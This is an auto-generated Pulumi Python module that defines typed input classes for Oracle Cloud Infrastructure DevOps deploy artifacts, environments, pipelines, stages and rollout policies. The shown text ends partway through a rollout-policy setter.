# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = [ 'DeployArtifactDeployArtifactSourceArgs', 'DeployEnvironmentComputeInstanceGroupSelectorsArgs', 'DeployEnvironmentComputeInstanceGroupSelectorsItemArgs', 'DeployPipelineDeployPipelineArtifactsArgs', 'DeployPipelineDeployPipelineArtifactsItemArgs', 'DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesArgs', 'DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesItemArgs', 'DeployPipelineDeployPipelineEnvironmentsArgs', 'DeployPipelineDeployPipelineEnvironmentsItemArgs', 'DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesArgs', 'DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs', 'DeployPipelineDeployPipelineParametersArgs', 'DeployPipelineDeployPipelineParametersItemArgs', 'DeployStageApprovalPolicyArgs', 'DeployStageBlueBackendIpsArgs', 'DeployStageDeployStagePredecessorCollectionArgs', 'DeployStageDeployStagePredecessorCollectionItemArgs', 'DeployStageFailurePolicyArgs', 'DeployStageGreenBackendIpsArgs', 'DeployStageLoadBalancerConfigArgs', 'DeployStageRollbackPolicyArgs', 'DeployStageRolloutPolicyArgs', 'DeployStageWaitCriteriaArgs', 'DeploymentDeployArtifactOverrideArgumentsArgs', 'DeploymentDeployArtifactOverrideArgumentsItemArgs', 'DeploymentDeployPipelineArtifactsArgs', 'DeploymentDeployPipelineArtifactsItemArgs', 'DeploymentDeployPipelineArtifactsItemDeployPipelineStagesArgs', 'DeploymentDeployPipelineArtifactsItemDeployPipelineStagesItemArgs', 'DeploymentDeployPipelineEnvironmentsArgs', 'DeploymentDeployPipelineEnvironmentsItemArgs', 'DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesArgs', 'DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs', 'DeploymentDeploymentArgumentsArgs', 'DeploymentDeploymentArgumentsItemArgs', 'DeploymentDeploymentExecutionProgressArgs', 'ProjectNotificationConfigArgs', 'GetDeployArtifactsFilterArgs', 'GetDeployEnvironmentsFilterArgs', 'GetDeployPipelinesFilterArgs', 'GetDeployStagesFilterArgs', 'GetDeploymentsFilterArgs', 'GetProjectsFilterArgs', ] @pulumi.input_type class DeployArtifactDeployArtifactSourceArgs: def __init__(__self__, *, deploy_artifact_source_type: pulumi.Input[str], base64encoded_content: Optional[pulumi.Input[str]] = None, deploy_artifact_path: Optional[pulumi.Input[str]] = None, deploy_artifact_version: Optional[pulumi.Input[str]] = None, image_digest: Optional[pulumi.Input[str]] = None, image_uri: Optional[pulumi.Input[str]] = None, repository_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_artifact_source_type: (Updatable) Specifies types of artifact sources. :param pulumi.Input[str] base64encoded_content: (Updatable) base64 Encoded String :param pulumi.Input[str] deploy_artifact_path: (Updatable) Specifies the artifact path in the repository. :param pulumi.Input[str] deploy_artifact_version: (Updatable) Users can set this as a placeholder value that refers to a pipeline parameter, for example, ${appVersion}. :param pulumi.Input[str] image_digest: (Updatable) Specifies image digest for the version of the image. :param pulumi.Input[str] image_uri: (Updatable) Specifies OCIR Image Path - optionally include tag. :param pulumi.Input[str] repository_id: (Updatable) The OCID of a repository """ pulumi.set(__self__, "deploy_artifact_source_type", deploy_artifact_source_type) if base64encoded_content is not None: pulumi.set(__self__, "base64encoded_content", base64encoded_content) if deploy_artifact_path is not None: pulumi.set(__self__, "deploy_artifact_path", deploy_artifact_path) if deploy_artifact_version is not None: pulumi.set(__self__, "deploy_artifact_version", deploy_artifact_version) if image_digest is not None: pulumi.set(__self__, "image_digest", image_digest) if image_uri is not None: pulumi.set(__self__, "image_uri", image_uri) if repository_id is not None: pulumi.set(__self__, "repository_id", repository_id) @property @pulumi.getter(name="deployArtifactSourceType") def deploy_artifact_source_type(self) -> pulumi.Input[str]: """ (Updatable) Specifies types of artifact sources. """ return pulumi.get(self, "deploy_artifact_source_type") @deploy_artifact_source_type.setter def deploy_artifact_source_type(self, value: pulumi.Input[str]): pulumi.set(self, "deploy_artifact_source_type", value) @property @pulumi.getter(name="base64encodedContent") def base64encoded_content(self) -> Optional[pulumi.Input[str]]: """ (Updatable) base64 Encoded String """ return pulumi.get(self, "base64encoded_content") @base64encoded_content.setter def base64encoded_content(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "base64encoded_content", value) @property @pulumi.getter(name="deployArtifactPath") def deploy_artifact_path(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Specifies the artifact path in the repository. """ return pulumi.get(self, "deploy_artifact_path") @deploy_artifact_path.setter def deploy_artifact_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_artifact_path", value) @property @pulumi.getter(name="deployArtifactVersion") def deploy_artifact_version(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Users can set this as a placeholder value that refers to a pipeline parameter, for example, ${appVersion}. """ return pulumi.get(self, "deploy_artifact_version") @deploy_artifact_version.setter def deploy_artifact_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_artifact_version", value) @property @pulumi.getter(name="imageDigest") def image_digest(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Specifies image digest for the version of the image. """ return pulumi.get(self, "image_digest") @image_digest.setter def image_digest(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "image_digest", value) @property @pulumi.getter(name="imageUri") def image_uri(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Specifies OCIR Image Path - optionally include tag. """ return pulumi.get(self, "image_uri") @image_uri.setter def image_uri(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "image_uri", value) @property @pulumi.getter(name="repositoryId") def repository_id(self) -> Optional[pulumi.Input[str]]: """ (Updatable) The OCID of a repository """ return pulumi.get(self, "repository_id") @repository_id.setter def repository_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "repository_id", value) @pulumi.input_type class DeployEnvironmentComputeInstanceGroupSelectorsArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeployEnvironmentComputeInstanceGroupSelectorsItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeployEnvironmentComputeInstanceGroupSelectorsItemArgs']]] items: (Updatable) A list of selectors for the instance group. UNION operator is used for combining the instances selected by each selector. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeployEnvironmentComputeInstanceGroupSelectorsItemArgs']]]]: """ (Updatable) A list of selectors for the instance group. UNION operator is used for combining the instances selected by each selector. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeployEnvironmentComputeInstanceGroupSelectorsItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeployEnvironmentComputeInstanceGroupSelectorsItemArgs: def __init__(__self__, *, selector_type: pulumi.Input[str], compute_instance_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, query: Optional[pulumi.Input[str]] = None, region: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] selector_type: (Updatable) Defines the type of the instance selector for the group. :param pulumi.Input[Sequence[pulumi.Input[str]]] compute_instance_ids: (Updatable) Compute instance OCID identifiers that are members of this group. :param pulumi.Input[str] query: (Updatable) Query expression confirming to the Oracle Cloud Infrastructure Search Language syntax to select compute instances for the group. The language is documented at https://docs.oracle.com/en-us/iaas/Content/Search/Concepts/querysyntax.htm :param pulumi.Input[str] region: (Updatable) Region identifier referred by the deployment environment. Region identifiers are listed at https://docs.oracle.com/en-us/iaas/Content/General/Concepts/regions.htm """ pulumi.set(__self__, "selector_type", selector_type) if compute_instance_ids is not None: pulumi.set(__self__, "compute_instance_ids", compute_instance_ids) if query is not None: pulumi.set(__self__, "query", query) if region is not None: pulumi.set(__self__, "region", region) @property @pulumi.getter(name="selectorType") def selector_type(self) -> pulumi.Input[str]: """ (Updatable) Defines the type of the instance selector for the group. """ return pulumi.get(self, "selector_type") @selector_type.setter def selector_type(self, value: pulumi.Input[str]): pulumi.set(self, "selector_type", value) @property @pulumi.getter(name="computeInstanceIds") def compute_instance_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ (Updatable) Compute instance OCID identifiers that are members of this group. """ return pulumi.get(self, "compute_instance_ids") @compute_instance_ids.setter def compute_instance_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "compute_instance_ids", value) @property @pulumi.getter def query(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Query expression confirming to the Oracle Cloud Infrastructure Search Language syntax to select compute instances for the group. The language is documented at https://docs.oracle.com/en-us/iaas/Content/Search/Concepts/querysyntax.htm """ return pulumi.get(self, "query") @query.setter def query(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "query", value) @property @pulumi.getter def region(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Region identifier referred by the deployment environment. Region identifiers are listed at https://docs.oracle.com/en-us/iaas/Content/General/Concepts/regions.htm """ return pulumi.get(self, "region") @region.setter def region(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "region", value) @pulumi.input_type class DeployPipelineDeployPipelineArtifactsArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemArgs']]] items: (Updatable) List of parameters defined for a deployment pipeline. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemArgs']]]]: """ (Updatable) List of parameters defined for a deployment pipeline. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeployPipelineDeployPipelineArtifactsItemArgs: def __init__(__self__, *, deploy_artifact_id: Optional[pulumi.Input[str]] = None, deploy_pipeline_stages: Optional[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesArgs']] = None, display_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_artifact_id: The OCID of an artifact :param pulumi.Input['DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesArgs'] deploy_pipeline_stages: List of stages. :param pulumi.Input[str] display_name: (Updatable) Deployment pipeline display name. Avoid entering confidential information. """ if deploy_artifact_id is not None: pulumi.set(__self__, "deploy_artifact_id", deploy_artifact_id) if deploy_pipeline_stages is not None: pulumi.set(__self__, "deploy_pipeline_stages", deploy_pipeline_stages) if display_name is not None: pulumi.set(__self__, "display_name", display_name) @property @pulumi.getter(name="deployArtifactId") def deploy_artifact_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of an artifact """ return pulumi.get(self, "deploy_artifact_id") @deploy_artifact_id.setter def deploy_artifact_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_artifact_id", value) @property @pulumi.getter(name="deployPipelineStages") def deploy_pipeline_stages(self) -> Optional[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesArgs']]: """ List of stages. """ return pulumi.get(self, "deploy_pipeline_stages") @deploy_pipeline_stages.setter def deploy_pipeline_stages(self, value: Optional[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesArgs']]): pulumi.set(self, "deploy_pipeline_stages", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Deployment pipeline display name. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @pulumi.input_type class DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesItemArgs']]] items: (Updatable) List of parameters defined for a deployment pipeline. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesItemArgs']]]]: """ (Updatable) List of parameters defined for a deployment pipeline. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeployPipelineDeployPipelineArtifactsItemDeployPipelineStagesItemArgs: def __init__(__self__, *, deploy_stage_id: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_stage_id: The OCID of a stage :param pulumi.Input[str] display_name: (Updatable) Deployment pipeline display name. Avoid entering confidential information. """ if deploy_stage_id is not None: pulumi.set(__self__, "deploy_stage_id", deploy_stage_id) if display_name is not None: pulumi.set(__self__, "display_name", display_name) @property @pulumi.getter(name="deployStageId") def deploy_stage_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of a stage """ return pulumi.get(self, "deploy_stage_id") @deploy_stage_id.setter def deploy_stage_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_stage_id", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Deployment pipeline display name. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @pulumi.input_type class DeployPipelineDeployPipelineEnvironmentsArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemArgs']]] items: (Updatable) List of parameters defined for a deployment pipeline. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemArgs']]]]: """ (Updatable) List of parameters defined for a deployment pipeline. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeployPipelineDeployPipelineEnvironmentsItemArgs: def __init__(__self__, *, deploy_environment_id: Optional[pulumi.Input[str]] = None, deploy_pipeline_stages: Optional[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesArgs']] = None, display_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_environment_id: The OCID of an Environment :param pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesArgs'] deploy_pipeline_stages: List of stages. :param pulumi.Input[str] display_name: (Updatable) Deployment pipeline display name. Avoid entering confidential information. """ if deploy_environment_id is not None: pulumi.set(__self__, "deploy_environment_id", deploy_environment_id) if deploy_pipeline_stages is not None: pulumi.set(__self__, "deploy_pipeline_stages", deploy_pipeline_stages) if display_name is not None: pulumi.set(__self__, "display_name", display_name) @property @pulumi.getter(name="deployEnvironmentId") def deploy_environment_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of an Environment """ return pulumi.get(self, "deploy_environment_id") @deploy_environment_id.setter def deploy_environment_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_environment_id", value) @property @pulumi.getter(name="deployPipelineStages") def deploy_pipeline_stages(self) -> Optional[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesArgs']]: """ List of stages. """ return pulumi.get(self, "deploy_pipeline_stages") @deploy_pipeline_stages.setter def deploy_pipeline_stages(self, value: Optional[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesArgs']]): pulumi.set(self, "deploy_pipeline_stages", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Deployment pipeline display name. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @pulumi.input_type class DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs']]] items: (Updatable) List of parameters defined for a deployment pipeline. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs']]]]: """ (Updatable) List of parameters defined for a deployment pipeline. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeployPipelineDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs: def __init__(__self__, *, deploy_stage_id: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_stage_id: The OCID of a stage :param pulumi.Input[str] display_name: (Updatable) Deployment pipeline display name. Avoid entering confidential information. """ if deploy_stage_id is not None: pulumi.set(__self__, "deploy_stage_id", deploy_stage_id) if display_name is not None: pulumi.set(__self__, "display_name", display_name) @property @pulumi.getter(name="deployStageId") def deploy_stage_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of a stage """ return pulumi.get(self, "deploy_stage_id") @deploy_stage_id.setter def deploy_stage_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_stage_id", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Deployment pipeline display name. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @pulumi.input_type class DeployPipelineDeployPipelineParametersArgs: def __init__(__self__, *, items: pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineParametersItemArgs']]]): """ :param pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineParametersItemArgs']]] items: (Updatable) List of parameters defined for a deployment pipeline. """ pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineParametersItemArgs']]]: """ (Updatable) List of parameters defined for a deployment pipeline. """ return pulumi.get(self, "items") @items.setter def items(self, value: pulumi.Input[Sequence[pulumi.Input['DeployPipelineDeployPipelineParametersItemArgs']]]): pulumi.set(self, "items", value) @pulumi.input_type class DeployPipelineDeployPipelineParametersItemArgs: def __init__(__self__, *, name: pulumi.Input[str], default_value: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: (Updatable) Name of the parameter (case-sensitive). Parameter name must be ^[a-zA-Z][a-zA-Z_0-9]*$. :param pulumi.Input[str] default_value: (Updatable) Default value of the parameter. :param pulumi.Input[str] description: (Updatable) Optional description about the deployment pipeline. """ pulumi.set(__self__, "name", name) if default_value is not None: pulumi.set(__self__, "default_value", default_value) if description is not None: pulumi.set(__self__, "description", description) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ (Updatable) Name of the parameter (case-sensitive). Parameter name must be ^[a-zA-Z][a-zA-Z_0-9]*$. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter(name="defaultValue") def default_value(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Default value of the parameter. """ return pulumi.get(self, "default_value") @default_value.setter def default_value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "default_value", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Optional description about the deployment pipeline. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @pulumi.input_type class DeployStageApprovalPolicyArgs: def __init__(__self__, *, approval_policy_type: pulumi.Input[str], number_of_approvals_required: pulumi.Input[int]): """ :param pulumi.Input[str] approval_policy_type: (Updatable) Approval policy type. :param pulumi.Input[int] number_of_approvals_required: (Updatable) A minimum number of approvals required for stage to proceed. """ pulumi.set(__self__, "approval_policy_type", approval_policy_type) pulumi.set(__self__, "number_of_approvals_required", number_of_approvals_required) @property @pulumi.getter(name="approvalPolicyType") def approval_policy_type(self) -> pulumi.Input[str]: """ (Updatable) Approval policy type. """ return pulumi.get(self, "approval_policy_type") @approval_policy_type.setter def approval_policy_type(self, value: pulumi.Input[str]): pulumi.set(self, "approval_policy_type", value) @property @pulumi.getter(name="numberOfApprovalsRequired") def number_of_approvals_required(self) -> pulumi.Input[int]: """ (Updatable) A minimum number of approvals required for stage to proceed. """ return pulumi.get(self, "number_of_approvals_required") @number_of_approvals_required.setter def number_of_approvals_required(self, value: pulumi.Input[int]): pulumi.set(self, "number_of_approvals_required", value) @pulumi.input_type class DeployStageBlueBackendIpsArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input[str]]] items: (Updatable) The IP address of the backend server. A server could be a compute instance or a load balancer. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ (Updatable) The IP address of the backend server. A server could be a compute instance or a load balancer. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeployStageDeployStagePredecessorCollectionArgs: def __init__(__self__, *, items: pulumi.Input[Sequence[pulumi.Input['DeployStageDeployStagePredecessorCollectionItemArgs']]]): """ :param pulumi.Input[Sequence[pulumi.Input['DeployStageDeployStagePredecessorCollectionItemArgs']]] items: (Updatable) The IP address of the backend server. A server could be a compute instance or a load balancer. """ pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> pulumi.Input[Sequence[pulumi.Input['DeployStageDeployStagePredecessorCollectionItemArgs']]]: """ (Updatable) The IP address of the backend server. A server could be a compute instance or a load balancer. """ return pulumi.get(self, "items") @items.setter def items(self, value: pulumi.Input[Sequence[pulumi.Input['DeployStageDeployStagePredecessorCollectionItemArgs']]]): pulumi.set(self, "items", value) @pulumi.input_type class DeployStageDeployStagePredecessorCollectionItemArgs: def __init__(__self__, *, id: pulumi.Input[str]): """ :param pulumi.Input[str] id: (Updatable) The OCID of the predecessor stage. If a stage is the first stage in the pipeline, then the ID is the pipeline's OCID. """ pulumi.set(__self__, "id", id) @property @pulumi.getter def id(self) -> pulumi.Input[str]: """ (Updatable) The OCID of the predecessor stage. If a stage is the first stage in the pipeline, then the ID is the pipeline's OCID. """ return pulumi.get(self, "id") @id.setter def id(self, value: pulumi.Input[str]): pulumi.set(self, "id", value) @pulumi.input_type class DeployStageFailurePolicyArgs: def __init__(__self__, *, policy_type: pulumi.Input[str], failure_count: Optional[pulumi.Input[int]] = None, failure_percentage: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[str] policy_type: (Updatable) The type of policy used for rolling out a deployment stage. :param pulumi.Input[int] failure_count: (Updatable) The threshold count of failed instances in the group, which when reached or exceeded sets the stage as FAILED. :param pulumi.Input[int] failure_percentage: (Updatable) The failure percentage threshold, which when reached or exceeded sets the stage as FAILED. Percentage is computed as the ceiling value of the number of failed instances over the total count of the instances in the group. """ pulumi.set(__self__, "policy_type", policy_type) if failure_count is not None: pulumi.set(__self__, "failure_count", failure_count) if failure_percentage is not None: pulumi.set(__self__, "failure_percentage", failure_percentage) @property @pulumi.getter(name="policyType") def policy_type(self) -> pulumi.Input[str]: """ (Updatable) The type of policy used for rolling out a deployment stage. """ return pulumi.get(self, "policy_type") @policy_type.setter def policy_type(self, value: pulumi.Input[str]): pulumi.set(self, "policy_type", value) @property @pulumi.getter(name="failureCount") def failure_count(self) -> Optional[pulumi.Input[int]]: """ (Updatable) The threshold count of failed instances in the group, which when reached or exceeded sets the stage as FAILED. """ return pulumi.get(self, "failure_count") @failure_count.setter def failure_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "failure_count", value) @property @pulumi.getter(name="failurePercentage") def failure_percentage(self) -> Optional[pulumi.Input[int]]: """ (Updatable) The failure percentage threshold, which when reached or exceeded sets the stage as FAILED. Percentage is computed as the ceiling value of the number of failed instances over the total count of the instances in the group. """ return pulumi.get(self, "failure_percentage") @failure_percentage.setter def failure_percentage(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "failure_percentage", value) @pulumi.input_type class DeployStageGreenBackendIpsArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input[str]]] items: (Updatable) The IP address of the backend server. A server could be a compute instance or a load balancer. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ (Updatable) The IP address of the backend server. A server could be a compute instance or a load balancer. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeployStageLoadBalancerConfigArgs: def __init__(__self__, *, backend_port: Optional[pulumi.Input[int]] = None, listener_name: Optional[pulumi.Input[str]] = None, load_balancer_id: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[int] backend_port: (Updatable) Listen port for the backend server. :param pulumi.Input[str] listener_name: (Updatable) Name of the load balancer listener. :param pulumi.Input[str] load_balancer_id: (Updatable) The OCID of the load balancer. :param pulumi.Input[str] state: The current state of the deployment stage. """ if backend_port is not None: pulumi.set(__self__, "backend_port", backend_port) if listener_name is not None: pulumi.set(__self__, "listener_name", listener_name) if load_balancer_id is not None: pulumi.set(__self__, "load_balancer_id", load_balancer_id) if state is not None: pulumi.set(__self__, "state", state) @property @pulumi.getter(name="backendPort") def backend_port(self) -> Optional[pulumi.Input[int]]: """ (Updatable) Listen port for the backend server. """ return pulumi.get(self, "backend_port") @backend_port.setter def backend_port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "backend_port", value) @property @pulumi.getter(name="listenerName") def listener_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Name of the load balancer listener. """ return pulumi.get(self, "listener_name") @listener_name.setter def listener_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "listener_name", value) @property @pulumi.getter(name="loadBalancerId") def load_balancer_id(self) -> Optional[pulumi.Input[str]]: """ (Updatable) The OCID of the load balancer. """ return pulumi.get(self, "load_balancer_id") @load_balancer_id.setter def load_balancer_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "load_balancer_id", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: """ The current state of the deployment stage. """ return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value) @pulumi.input_type class DeployStageRollbackPolicyArgs: def __init__(__self__, *, policy_type: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] policy_type: (Updatable) The type of policy used for rolling out a deployment stage. """ if policy_type is not None: pulumi.set(__self__, "policy_type", policy_type) @property @pulumi.getter(name="policyType") def policy_type(self) -> Optional[pulumi.Input[str]]: """ (Updatable) The type of policy used for rolling out a deployment stage. """ return pulumi.get(self, "policy_type") @policy_type.setter def policy_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "policy_type", value) @pulumi.input_type class DeployStageRolloutPolicyArgs: def __init__(__self__, *, policy_type: pulumi.Input[str], batch_count: Optional[pulumi.Input[int]] = None, batch_delay_in_seconds: Optional[pulumi.Input[int]] = None, batch_percentage: Optional[pulumi.Input[int]] = None, ramp_limit_percent: Optional[pulumi.Input[float]] = None): """ :param pulumi.Input[str] policy_type: (Updatable) The type of policy used for rolling out a deployment stage. :param pulumi.Input[int] batch_count: (Updatable) The number that will be used to determine how many instances will be deployed concurrently. :param pulumi.Input[int] batch_delay_in_seconds: (Updatable) The duration of delay between batch rollout. The default delay is 1 minute. :param pulumi.Input[int] batch_percentage: (Updatable) The percentage that will be used to determine how many instances will be deployed concurrently. :param pulumi.Input[float] ramp_limit_percent: (Updatable) Indicates the criteria to stop. """ pulumi.set(__self__, "policy_type", policy_type) if batch_count is not None: pulumi.set(__self__, "batch_count", batch_count) if batch_delay_in_seconds is not None: pulumi.set(__self__, "batch_delay_in_seconds", batch_delay_in_seconds) if batch_percentage is not None: pulumi.set(__self__, "batch_percentage", batch_percentage) if ramp_limit_percent is not None: pulumi.set(__self__, "ramp_limit_percent", ramp_limit_percent) @property @pulumi.getter(name="policyType") def policy_type(self) -> pulumi.Input[str]: """ (Updatable) The type of policy used for rolling out a deployment stage. """ return pulumi.get(self, "policy_type") @policy_type.setter def policy_type(self, value: pulumi.Input[str]): pulumi.set(self, 